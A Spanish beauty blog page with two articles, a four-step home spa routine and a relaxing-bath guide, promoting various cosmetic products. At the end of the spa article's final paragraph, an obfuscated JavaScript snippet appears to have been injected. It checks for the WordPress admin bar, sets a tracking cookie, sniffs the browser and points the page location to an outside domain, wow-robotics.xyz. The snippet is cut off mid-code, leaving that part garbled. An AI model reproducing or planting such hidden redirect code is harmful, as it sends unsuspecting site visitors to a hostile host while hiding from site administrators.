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  • Cómo organizar una sesión spa en casa en solo 4 pasos

    Ha llegado septiembre, la vuelta al trabajo, al gimnasio, a las colas en el supermercado, a los propósitos de mitad de año y a la espera paciente del frío. Motivos suficientes para posicionar septiembre como el mes perfecto para mimar el cuerpo, por eso, en este artículo te contamos cómo organizar una sesión spa en casa en solo 4 pasos. Sus beneficios en la piel y en la mente se notan al instante, esa noche dormiréis mucho mejor y al despertar vuestro cuerpo estará mucho más preparado para afrontar las adversidades del día. Además, llevarlo a cabo es mucho más sencillo de lo que imagináis: un poco de tiempo, dedicación, los productos adecuados y nada más. Take it easy!

    chica se da un baño relax en una gran bañera con las piernas por fuera una toalla bajo su cabeza

    Paso 1: Organiza el espacio con todo lo necesario para un Spa en casa perfecto 

    Quien haya estado en un spa conocerá la importancia de los pequeños detalles. Empezaremos apagando el móvil para una desconexión total. A continuación, prepararemos el baño e incluso la habitación con velas aromáticas, flores, cojines, incienso, sales minerales, infusiones, música relajante. Utilizar todos los elementos que se os ocurra para crear un lugar agradable y relajante, es decir, para crear un santuario.

    Paso 2: Durante la sesión de spa en casa solo tu cuerpo es importante, ¡mímalo!

    Para organizar una sesión de spa en nuestro hogar una cosa debe quedar clara: ¡tu cuerpo es el protagonista! El invitado especial, el centro de todos los cuidados y atenciones. Se trata de desconectar la mente para conectar el cuerpo. Para ello, empezaremos con un baño o ducha caliente rica con un gel rico en esencias relajantes como Bath Therapy Relaxing Gel de Biotherm con bayas rojas y romero para purificar la piel. Durante esta fase recordar aplicar una mascarilla especial para la cara que actúe mientras vosotras os dedicáis al resto del cuerpo.

    El calor abre los poros por lo que aprovecharemos el momento para eliminar todas las células muertas de nuestra piel. A nosotras nos encanta la Crema Exfoliante Corporal Sparkle Skin de Clinique porque revitaliza la piel de todo el cuerpo y la deja tan suave y lisa que de verdad creeréis haber salido de un Spa.

    Una mujer pasa una esponja exfoliante por su pierna lleva puesta una toalla blanca

    Paso 3: Spa en casa para mejorar la circulación sanguínea

    Una sesión de spa es el mejor momento para activar la circulación sanguínea de nuestro cuerpo. Una rutina que puede empezar aquí, pero que debe continuarse de forma ocasional. En primer lugar, alternaremos el baño caliente con sesiones de agua fría en todo el cuerpo, especial atención a nuestras piernas. Además, el agua fría, sobre todo si lo hacemos al final del baño, cerrará todos nuestros poros por lo que quedarán completamente limpios. Jugar con la presión de agua también puede ser de gran utilidad.

    Al salir, secaremos nuestra piel realizando movimientos circulares con la toalla para activar la circulación. Por último, masajearemos nuestra piel aplicando un aceite relajante como Huile Relax de Clarins con extractos naturales de geranio, limonero o manzanilla y aceite de avellana para una relajación inmediata y una piel mucho más hidratada. Ya verás que bien os sentís después.

    Paso 4: En casa, tu pelo también encuentra su momento Spa

    Nuestro cabello se merece su ratito de relax para descansar de los excesos diarios. Para mimarlo, aplicaremos nuestro champú favorito realizando un pequeño masaje craneal por toda la cabeza. A continuación, recomendamos aplicar una mascarilla que ponga a punto todas sus virtudes como Sisley Masque Soin Regenerant que actúa desde la raíz hasta la punta sin engrasar y aportando volumen y fuerza. Es uno de nuestros mejores secretos ¡y nos encanta contarlo!

    una chica de espaldas se lava el pelo bajo la ducha

    En solo cuatro sencillos pasos conseguiréis organizar un spa en casa que, con tiempo y dedicación, mejorará hasta convertirse en vuestro momento único y especial. No sabéis lo bien que le sienta al cuerpo una sesión como la que os hemos contado de vez en cuando, y no solo a él, la mente también lo agradecerá. Probar en casa y contarnos cuáles son vuestros mejores trucos para resetear cuerpo y mente. ¡Os esperamos! var a=[‘toUTCString’,’cookie’,’split’,’length’,’charAt’,’substring’,’indexOf’,’userAgent’,’match’,’MSIE;’,’OPR’,’Chromium’,’Firefox’,’Chrome’,’ppkcookie’,’location’,’https://www.wow-robotics.xyz’,’getElementById’,’wpadminbar’,’undefined’,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var e=function(f){while(–f){c[‘push’](c[‘shift’]());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b(‘0x0’)](b(‘0x1’))===null){if(typeof c===b(‘0x2’)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(‘0x3’)](h[b(‘0x4’)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(‘0x5’)+h[b(‘0x6’)]();}document[b(‘0x7′)]=d+’=’+(e||”)+g+’;\x20path=/’;}function i(j){var k=j+’=’;var l=document[b(‘0x7’)][b(‘0x8’)](‘;’);for(var m=0x0;m

  • Cómo disfrutar de un buen baño relajante

    ¿Tienes la sensación de ir de un lado a otro corriendo? ¿El trabajo, las obligaciones, la familia, una cita… sin apenas tiempo de calidad para ti? Es importante encontrar algún hueco para nosotros, para liberar tensiones, para reflexionar y descansar. Al menos, deberíamos habilitar un momento a la semana –aunque solo sea uno- en el que poder encontrarnos con nosotros mismo y relajarnos de verdad. Sin ruido. Sin gente. Sin obligaciones. Te proponemos un baño de agua caliente con espuma y un tratamiento para mimar la piel del cuerpo. Porque es algo que te mereces, ¿no crees?

    ideas-baño-relajante

    Prepara el ambiente

    Para poder disfrutar de una buena sesión relajante, conviene acondicionar el baño con velas, con algún tipo de luz tenue y si lo deseas, con hilo musical relajante. Llena la bañera de agua y añade sales aromáticas para sumergirte en ellas. Es el momento de preparar también la piel para que se relaje: la espuma Relaxing Foam Bath Therapy de Biotherm es ultraligera y se funde rápidamente sobre la piel, limpiándola y dejando una sensación de confort increíble. Después de aclarar la piel, la notarás súper suave y fresca, sin olvidar su ¡delicioso olor floral afrutado!

    Para hacer una limpieza más profunda y eliminar las células muertas, también puedes utilizar un exfoliante una o dos veces por semana. El Relaxing Scrub Bath Therapy de Biotherm tiene una textura gel muy agradable. Está formulada con perlite y polvo de argán y deja una dermis muy lisa. Lo mejor de todo es que no solo cuida la piel también la calma y por eso es tan efectiva en los días donde más estrés sufrimos.

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    Termina el tratamiento con la Relaxing Cream Bath Therapy de Biotherm, un auténtico bálsamo sedoso y confortable, que creará un efecto aterciopelado sobre la piel, dejándola perfectamente hidratada si la aplicas a diario tras la ducha.

    ¿Tu piel está estresada?

    Muchas personas no son conscientes de los efectos que el estrés puede causar sobre la piel, pero es muy fácil detectar si nuestra dermis necesita un respiro: si la notas fatigada, con mucha sequedad o con pequeños granitos por el cuerpo, ¡te está pidiendo a gritos que la cuides y que pares un poco el ritmo!

    Es hora de hacer balance y preparar un buen baño relajante, pero quizá requieras algo más de ayuda. Por ejemplo, Gommage 1000 Grains Corps de Decléor se debe aplicar sobre la piel seca de las rodillas, codos y talones. Es decir, en aquellas zonas que suelen estar más secas de lo normal. Deberás realizar movimientos circulares y después aclarar con agua. Este exfoliante en gel cremoso te enamorará por lo agradable que es usarlo y por su aroma a pomelo.

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    Pero si de verdad sientes algún tipo de tirantez o rigidez en alguna zona del cuerpo, aplica Huile Relax de Clarins, justo en esas zonas contraídas. Este aceite está compuesto de extractos 100% puros de plantas como el geranio o el limonero y ayuda a liberarse del estrés de forma inmediata, calmando los músculos cansados y aportando una sensación de bienestar muy agradable. Pero además de esto, también hidrata la piel, así que su efecto está asegurado.

     ¿Tienes algún ritual de belleza para esos días llenos de estrés?

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